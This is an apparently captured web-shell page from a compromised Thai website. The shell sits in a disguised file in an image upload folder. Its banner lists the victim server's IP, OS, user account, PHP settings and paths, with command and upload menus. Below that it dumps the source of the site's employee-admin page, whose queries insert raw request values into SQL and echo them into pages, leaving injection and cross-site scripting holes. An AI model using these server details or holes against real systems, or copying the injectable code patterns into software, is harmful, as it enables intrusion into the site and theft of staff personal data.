|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/counter/../admin/BackupDB/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
if($_SESSION[UserRight]!="A"){
echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- Meta, title, CSS, favicons, etc. -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?php echo $config[web_title];?></title>
<?php
include("header-css.php");
?>
</head>
<?php
include ("Connections/function-sys.php");
?>
<body class="nav-md">
<div class="container body">
<div class="main_container">
<!-- Left side column. contains the logo and sidebar -->
<?php include("left-menu.php");?>
<!-- Left side column. contains the logo and sidebar -->
<!-- Header -->
<?php include("header.php");?>
<!-- Header -->
<!-- page content -->
<div class="right_col" role="main">
<div class="">
<!-- Start -->
<div class="clearfix"></div><!-- เส้น -->
<div class="row">
<div class="col-md-12 col-sm-12 col-xs-12">
<div class="x_panel">
<div class="x_title">
<h2>จัดการข้อมูลบุคลากร</h2>
<div class="clearfix"></div>
</div>
<div class="x_content">
<!-- เริ่มต้น -->
<?php
switch($_REQUEST[action]){
case "Insert2DB":
if(isset($_POST['submit'])) {//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า
$sqlmember = "select * from employee Where (empName='$_REQUEST[empName]' and emplName='$_REQUEST[emplName]') and statusID='1' ";
$row=$db->recCount($sqlmember);
if($row!=0){
$msg="ข้อมูลนี้มีแล้ว!";
}else
{
if(!empty($_FILES[empIMG][name])){
$qExt="jpg,png,gif,pjpeg,jpeg,jfif";
$size=800;
$filename=date("YmdHis")."1";
$Img1_1=upload_resizeIMG("empIMG","images/employee",$filename,$qExt,$size);//ถ้ากำหนด size เป็น 0 หรือช่องว่าง จะไม่ resize resize เฉพาะรูปภาพ
}else
{
$Img1_1="logo.png";
}
$empPassword = hash('sha256', $_REQUEST['empPassword']);
$insertSQL = "INSERT INTO employee (empFirstName,empName, emplName,empPosition
,hno,hname,hmo,soi,road,province_id,amphure_id,district_id,zip_code ,empTel,LineID
,empEmail, empPassword,empRight,empIMG,statusID,empIDInput,lastupdate )
VALUES ('$_REQUEST[empFirstName]','$_REQUEST[empName]', '$_REQUEST[emplName]'
,'$_REQUEST[empPosition]','$_REQUEST[hno]','$_REQUEST[hname]' ,'$_REQUEST[hmo]','$_REQUEST[soi]','$_REQUEST[road]','$_REQUEST[province_id]'
,'$_REQUEST[amphure_id]','$_REQUEST[district_id]','$_REQUEST[zip_code]', '$_REQUEST[empTel]', '$_REQUEST[LineID]'
,'$_REQUEST[empEmail]', '$empPassword', '$_REQUEST[empRight]' ,'$Img1_1','1' ,'$_SESSION[User_id]',now())";
$db->query($insertSQL);
$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";
}
}//ปิด Submit
echo <<<DOC
<CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
<script>
SweetAlert('$msg','$_SERVER[PHP_SELF]')
</script>
DOC;
break;
default:
if(empty($_REQUEST[page])){
$page=1;
}else
{
$page=$_REQUEST[page];
}
if(empty($_REQUEST[TxTSeach])){
$Where="";
}else
{
$Where="and (employee.empName like '%$_REQUEST[TxTSeach]%' or employee.emplName like '%$_REQUEST[TxTSeach]%' or employee.empEmail like '%$_REQUEST[TxTSeach]%' )";
}
if(!empty($_REQUEST[posID])){
$Where="$Where and employee.posID='$_REQUEST[posID]' ";
}
echo <<<DOC
<CENTER>
<div style="width:100%">
<div class="col-sm-12">
<div class="col-sm-6">
<A HREF="$_SERVER[PHP_SELF]?action=AddForm">
<button type="button" class="btn btn-success btn-sm pull-left"><span class="glyphicon glyphicon-plus-sign"></span> <strong>เพิ่มข้อมูล</strong></button></A>
</div>
<div class="col-sm-6 ">
<form class="form-search pull-right" method="post" id="s" action="$_SERVER[PHP_SELF]">
<span class="col-lg-11" style="padding-left:1px;padding-right:1px;">
<input type="text" class="form-control input" name="TxTSeach" placeholder="ชื่อ,สกุล" value="">
</span>
<span class="col-lg-1" style="padding-left:1px;padding-right:1px;">
<button type="submit" class="add-on btn btn-primary" style="height: 35px;"><i class="glyphicon glyphicon-search"></i></button>
</span>
</form>
</div>
</div><BR><BR>
<table class="table table-hover" >
<thead>
<tr class="warning" style="text-align: center">
<th width=5% style="text-align: center">ลำดับ</th>
<th style="text-align: left">ชื่อ-สกุล</th>
<th class="col-sm-4" style="padding-left:1px;padding-right:1px;text-align: left">ที่อยู่</th>
<th class="col-sm-1" style="text-align: left">โทรศัพท์</th>
<th class="col-sm-2" style="text-align: left">อีเมล</th>
<th width="5%" style="text-align: center">แก้ไข</th>
<th width="5%" style="text-align: center"> ลบ</th>
</tr>
</thead>
<tbody id="myTable">
DOC;
$sql ="SELECT employee.*,districts.district_name_th,amphures.amphure_name_th,provinces.province_name_th
FROM employee
left Join districts ON employee.district_id = districts.district_id
left Join amphures ON employee.amphure_id = amphures.amphure_id
left Join provinces ON employee.province_id = provinces.province_id
where employee.statusID='1' $Where
order by employee.empID ";
$row=$db->recCount($sql);
if($row!=0){
foreach ($db->dbSearch_Page($sql,$_REQUEST[page],$config[list4page]) as $i=>$arr) {
$j=(($config[list4page]*$page)-($config[list4page]-1))+$i;
if(!empty($arr[hmo])){$arr[hmo]=" ม.$arr[hmo] ";}
if(!empty($arr[soi])){$arr[soi]=" ซ.$arr[soi] ";}
if(!empty($arr[road])){$arr[road]=" ถ.$arr[road] ";}
if(!empty($arr[district_name_th])){$arr[district_name_th]=" ต.$arr[district_name_th] ";}
if(!empty($arr[amphure_name_th])){$arr[amphure_name_th]=" อ.$arr[amphure_name_th] ";}
if(!empty($arr[province_name_th])){$arr[province_name_th]=" จ.$arr[province_name_th]";}
echo <<<DOC
<tr valign=top>
<td style="text-align: center">$j</td>
<td> $arr[empFirstName]$arr[empName] $arr[emplName]</td>
<td style="text-align: left">
$arr[hno] $arr[hmo] $arr[road] $arr[soi] $arr[district_name_th]
$arr[amphure_name_th] $arr[province_name_th] $arr[zip_code]
</td>
<td style="text-align: center">$arr[empTel]</td>
<td style="text-align: left">$arr[empEmail]</td>
<td style="text-align: center">
<A HREF="$_SERVER[PHP_SELF]?action=AddForm&empID=$arr[empID]">
<button type="button" class="btn btn-success btn-xs" style="width:25px;"><span class="glyphicon glyphicon-pencil"></span></button></A>
</td>
<td style="text-align: center">
<A HREF="#" onClick="sebSweetConfirm('$_SERVER[PHP_SELF]?action=del4Data&empID=$arr[empID]');">
<button type="button" class="btn btn-danger btn-xs" style="height:25px; width:25px;"><span class="glyphicon glyphicon-trash"></span></button></A>
</td>
</tr>
DOC;
}
}else
{
echo <<<DOC
<tr>
<td colspan=7><BR><div align=center><strong>ไม่พบข้อมูล!</strong></div><BR></td>
</tr>
DOC;
}
echo "</tbody>
</table>
</div>";
if($row!=0){
echo "<div style=\"width:95%;text-align: left\">";
echo $db->show_Page3($sql,$row,$config[list4page],$page,$_SERVER[PHP_SELF],"action=showList");
echo "</div>
</CENTER>";
}
break;
case "del4Data":
$sql="update employee set statusID='2' where empID='$_REQUEST[empID]' ";
$db->query($sql);
echo <<<DOC
<CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
<script>
SweetAlert('ลบข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]')
</script>
DOC;
break;
case "Update2DB":
if(isset($_POST['submit'])) {//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า
$sqlmember = "select * from employee Where (empName='$_REQUEST[empName]' and emplName='$_REQUEST[emplName]')
and statusID='1' and empID !='$_REQUEST[empID]' ";
$row=$db->recCount($sqlmember);
if($row!=0){
$msg="ข้อมูลนี้มีแล้ว!";
}else
{
if(!empty($_FILES[empIMG][name])){
$qExt="jpg,png,gif,pjpeg,jpeg,jfif";
$size=800;
$filename=date("YmdHis")."1";
$Img1_1=upload_resizeIMG("empIMG","images/employee",$filename,$qExt,$size);//ถ้ากำหนด size เป็น 0 หรือช่องว่าง จะไม่ resize resize เฉพาะรูปภาพ
}else
{
$Img1_1 =$_REQUEST[empIMG2];
}
if(!empty($_REQUEST['empPassword'])){
$empPassword = hash('sha256', $_REQUEST['empPassword']);
$sql = " update employee set
empFirstName='$_REQUEST[empFirstName]',empName='$_REQUEST[empName]', emplName='$_REQUEST[emplName]'
, empPosition='$_REQUEST[empPosition]'
,hno='$_REQUEST[hno]',hname='$_REQUEST[hname]' ,hmo='$_REQUEST[hmo]',soi='$_REQUEST[soi]',road='$_REQUEST[road]'
,province_id='$_REQUEST[province_id]',amphure_id='$_REQUEST[amphure_id]',district_id='$_REQUEST[district_id]',zip_code='$_REQUEST[zip_code]'
, empTel='$_REQUEST[empTel]', LineID='$_REQUEST[LineID]',empEmail='$_REQUEST[empEmail]', empPassword='$empPassword'
,empIMG='$Img1_1'
,empRight='$_REQUEST[empRight]' ,empIDInput='$_SESSION[User_id]',lastupdate=now() where empID='$_REQUEST[empID]' ";
$db->query($sql);
}else
{
$sql = " update employee set
empFirstName='$_REQUEST[empFirstName]',empName='$_REQUEST[empName]', emplName='$_REQUEST[emplName]', empPosition='$_REQUEST[empPosition]' ,hno='$_REQUEST[hno]',hname='$_REQUEST[hname]'
,hmo='$_REQUEST[hmo]',soi='$_REQUEST[soi]',road='$_REQUEST[road]'
,province_id='$_REQUEST[province_id]',amphure_id='$_REQUEST[amphure_id]',district_id='$_REQUEST[district_id]',zip_code='$_REQUEST[zip_code]'
, empTel='$_REQUEST[empTel]', LineID='$_REQUEST[LineID]',empEmail='$_REQUEST[empEmail]',empIMG='$Img1_1'
,empRight='$_REQUEST[empRight]' ,empIDInput='$_SESSION[User_id]',lastupdate=now() where empID='$_REQUEST[empID]' ";
$db->query($sql);
}
$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";
}
}//ปิด Submit
echo <<<DOC
<CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
<script>
SweetAlert('$msg','$_SERVER[PHP_SELF]')
</script>
DOC;
break;
case "AddForm":
if(empty($_REQUEST[empID])){
$action="Insert2DB";
}else
{
$action="Update2DB";
$sql="select employee.*,year(now())-year(empBirthDay) as reAge
from employee
where empID='$_REQUEST[empID]' ";
$arrE=$db->getRec($sql);
$arrE[empBirthDay]=ShowAllDate($arrE[empBirthDay],4);
echo "<CENTER><img src=\"images/employee/$arrE[empIMG]\" class=\"img-rounded\" style=\"width: 150px;\"></CENTER><BR>";
}
?>
<form id="frm" name="frm" method="post" action="<?php echo $_SERVER[PHP_SELF];?>" class="form-horizontal" enctype="multipart/form-data" ><!-- data-ajax="false" -->
<!-- Part1 -->
<div class="col-lg-12">
<div class="panel panel-default">
<div class="panel-heading panel-success" style="background-color: #0066FF;color:#FFFFFF;font-weight: bold;">รายละเอียด</div>
<div class="panel-body">
<!-- start -->
<div class="form-group">
<label class="col-lg-2 control-label">ชื่อ-สกุล</label>
<div class="col-lg-8">
<span class="col-lg-3" style="padding-left:1px;padding-right:1px;"><input type="text" class="form-control"id="empFirstName" name="empFirstName" placeholder="คำนำหน้าชื่อ" value="<?php echo $arrE[empFirstName];?>" required></span>
<span class="col-lg-4" style="padding-left:1px;padding-right:1px;"><input type="text" class="form-control"id="empName" name="empName" placeholder="ชื่อ" value="<?php echo $arrE[empName];?>" required></span>
<span class="col-lg-4" style="padding-left:1px;padding-right:1px;"><input type="text" class="form-control"id="emplName" name="emplName" placeholder="นามสกุล" value="<?php echo $arrE[emplName];?>" required></span>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">ตำแหน่ง</label>
<div class="col-lg-5">
<input type="text" class="form-control" name="empPosition" placeholder="ตำแหน่ง(ถ้ามี)" value="<?php echo $arrE[empPosition];?>" />
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">ที่อยู่</label>
<div class="col-lg-9">
<span class="col-lg-2" style="padding-left:1px;padding-right:1px;">
<input name="hno" type="text" class="form-control input" id="hno" value="<?php echo $arrE[hno];?>" placeholder="เลขที่" />
</span>
<label class="col-lg-1 control-label" style="text-align:right;width: 120px;">ชื่อหมู่บ้าน</label>
<span class="col-lg-4" style="padding-left:1px;padding-right:1px;">
<input name="hname" type="text" class="form-control input" id="hname" value="<?php echo $arrE[hname];?>" placeholder="ชื่อหมู่บ้าน" />
</span>
<label class="col-lg-1 control-label" style="text-align:right;width: 65px;">หมู่</label>
<span class="col-lg-2" style="padding-left:1px;padding-right:1px;">
<input name="hmo" type="text" class="form-control input" id="hmo" value="<?php echo $arrE[hmo];?>" placeholder="หมู่" />
</span>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">ถนน</label>
<div class="col-lg-9">
<span class="col-lg-5" style="padding-left:1px;padding-right:1px;">
<input name="road" type="text" class="form-control input" id="road" value="<?php echo $arrE[road];?>" placeholder="ถนน" />
</span>
<label class="col-lg-1 control-label" style="text-align:right;width: 90px;">ซอย</label>
<span class="col-lg-2" style="padding-left:1px;padding-right:1px;">
<input name="soi" type="text" class="form-control input" id="soi" value="<?php echo $arrE[soi];?>" placeholder="ซอย" />
</span>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">จังหวัด</label>
<div class="col-lg-9">
<span class="col-lg-2" style="padding-left:1px;padding-right:1px;">
<select name="province_id" id="provinces" class="select2_group form-control" style="width: 150%">
<option value=""></option>
<?php
$sql ="select * from provinces Order By province_code ASC";
foreach ($db->dbSearch($sql) as $i=>$arr2) {
if($arr2[province_id]== $arrE[province_id] ){$se=" selected"; }else{$se="";}
echo "<option value=\"$arr2[province_id]\" $se>$arr2[province_name_th]</option>";
}
?>
</select>
</span>
<label class="col-lg-1 control-label" style="text-align:right;width: 120px;">อำเภอ</label>
<span class="col-lg-2" style="padding-left:1px;padding-right:1px;" id="amphurDiv">
<select name="amphure_id" class="select2_group form-control" id="amphures" style="width: 150%" >
<option value=""></option>
<?php
if(!empty($arrE[province_id])){
$sql ="select * from amphures where province_id='$arrE[province_id]' Order By amphure_code ASC";
foreach ($db->dbSearch($sql) as $i=>$arr2) {
if($arr2[amphure_id]==$arrE[amphure_id] ){$se=" selected"; }else{$se="";}
echo "<option value=\"$arr2[amphure_id]\" $se>$arr2[amphure_name_th] </option>";
}
}
?>
</select>
</span>
<label class="col-lg-1 control-label" style="text-align:right;padding-left:35px;width: 130px;">ตำบล</label>
<span class="col-lg-2" style="padding-left:1px;padding-right:1px;" id="tumbonDiv">
<select name="district_id" class="select2_group form-control" id="districts" style="width: 150%" >
<option value=""></option>
<?php
if(!empty($arrE[amphure_id])){
$sql ="select * from districts where amphure_id='$arrE[amphure_id]' Order By zip_code ASC";
foreach ($db->dbSearch($sql) as $i=>$arr2) {
if($arr2[district_id]== $arrE[district_id] ){$se=" selected"; }else{$se="";}
echo "<option value=\"$arr2[district_id]\" $se>$arr2[district_name_th]</option>";
}
}
?>
</select>
</span>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">รหัสไปรษณีย์</label>
<div class="col-lg-9">
<span class="col-lg-2" style="padding-left:1px;padding-right:1px;" id="zipcodeDiv">
<input name="zip_code" type="text" class="form-control input" id="zip_code" value="<?php echo $arrE[zip_code];?>" placeholder="รหัสไปรษณีย์" onKeyUp="if(isNaN(this.value)){ alert('กรุณากรอกตัวเลข'); this.value='';}" />
</span>
<label class="col-lg-2 control-label" style="text-align:right;">โทรศัพท์</label>
<span class="col-lg-3" style="padding-left:1px;padding-left:1px;">
<input name="empTel" type="text" class="form-control input" id="empTel" value="<?php echo $arrE[empTel];?>" placeholder="โทรศัพท์มือถือ" onKeyUp="if(isNaN(this.value)){ alert('กรุณากรอกตัวเลข'); this.value='';}" />
</span>
<label class="col-lg-1 control-label" style="text-align:right;">Line ID</label>
<span class="col-lg-4" style="padding-left:1px;padding-left:1px;">
<input name="LineID" type="text" class="form-control input" id="LineID" value="<?php echo $arrE[LineID];?>" placeholder="Line ID" />
</span>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">อีเมล</label>
<div class="col-lg-5">
<input type="text" class="form-control" name="empEmail" placeholder="อีเมล(ใช้เป็น Username)" value="<?php echo $arrE[empEmail];?>" />
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">รหัสผ่าน</label>
<div class="col-lg-4">
<input type="password" class="form-control" name="empPassword" placeholder="รหัสผ่านอย่างน้อย 6 ตัวอักษร" value="" />
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">สิทธิ์</label>
<div class="col-lg-2">
<select name="empRight" id="empRight" class="form-control">
<option value=""></option>
<?php
$sql ="select * from employee_right Order By empRight ASC";
foreach ($db->dbSearch($sql) as $i=>$arr2) {
if($arr2[empRight]== $arrE[empRight] ){$se=" selected"; }else{$se="";}
echo "<option value=\"$arr2[empRight]\" $se>$arr2[empRightName]</option>";
}
?>
</select>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">รูป</label>
<div class="col-lg-8">
<a class='btn btn-primary' href='javascript:;'>เลือกไฟล์
<input type="file" style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="empIMG" size="40" onchange='$("#upload-file-info").html($(this).val());'>
</a>
<span class='label label-info' id="upload-file-info"></span>
</div>
</div>
<!-- stop -->
</div>
</div>
</div>
<!-- Part1 -->
<div class="form-group">
<div class="col-lg-11 col-lg-offset-3">
<button type="submit" name="submit" class="btn btn-primary">บันทึก</button>
<button type="button" class="btn btn-primary" onclick="self.location.href='<?php echo $_SERVER[PHP_SELF];?>' ">ยกเลิก</button>
<INPUT TYPE="hidden" NAME="empIMG2" value="<?php echo$arrE[empIMG];?>">
<INPUT TYPE="hidden" NAME="empID" value="<?php echo$arrE[empID];?>">
<INPUT TYPE="hidden" NAME="empRight" value="A">
<INPUT TYPE="hidden" NAME="action" value="<?php echo $action;?>">
</div>
</div>
</form>
<?php
break;
}//ปิด switch?>
<!-- สิ้นสุด -->
</div><!-- x_content -->
</div><!-- x_panel -->
</div>
</div>
<!-- Stop -->
</div>
</div>
<!-- /page content -->
<!-- Footer -->
<?php include("footer.php");?>
<!-- Footer -->
</div>
</div>
<?php
include("header-script.php");
include("script-Ajax.php");//Ajax
?>
<script>
//ตรวจสอบวัน
function validDate(obj){
date=obj.value
if (/[^\d/]|(\/\/)/g.test(date)) {obj.value=obj.value.replace(/[^\d/]/g,'');obj.value=obj.value.replace(/\/{2}/g,'/'); return }
if (/^\d{2}$/.test(date)){obj.value=obj.value+'/'; return }
if (/^\d{2}\/\d{2}$/.test(date)){obj.value=obj.value+'/'; return }
if (!/^\d{1,2}\/\d{1,2}\/\d{4}$/.test(date)) return
test1=(/^\d{1,2}\/?\d{1,2}\/\d{4}$/.test(date))
date=date.split('/')
date[2]=date[2]-543;
d=new Date(date[2],date[1]-1,date[0])
test2=(1*date[0]==d.getDate() && 1*date[1]==(d.getMonth()+1) && 1*date[2]==d.getFullYear())
if (test1 && test2) return true
alert("กรุณาป้อนวันที่ให้ถูกต้อง วว/ดด/พ.ศ. เช่น 01/12/2520")
obj.select();
obj.focus()
return false
}
//คำนวณอายุ
function calAge(o,txt){
var tmp = o.value.split("/");
var current = new Date();
var current_year = current.getFullYear();
document.getElementById(txt).value = current_year - (tmp[2]-543);
}
function replaceSymbol(el){
if(el.value.length==1){
el.value +="-";
}
else if(el.value.length==6){
el.value +="-";
}
else if(el.value.length==12){
el.value +="-";
}
else if(el.value.length==15){
el.value +="-";
}
}
</script>
</body>
</html>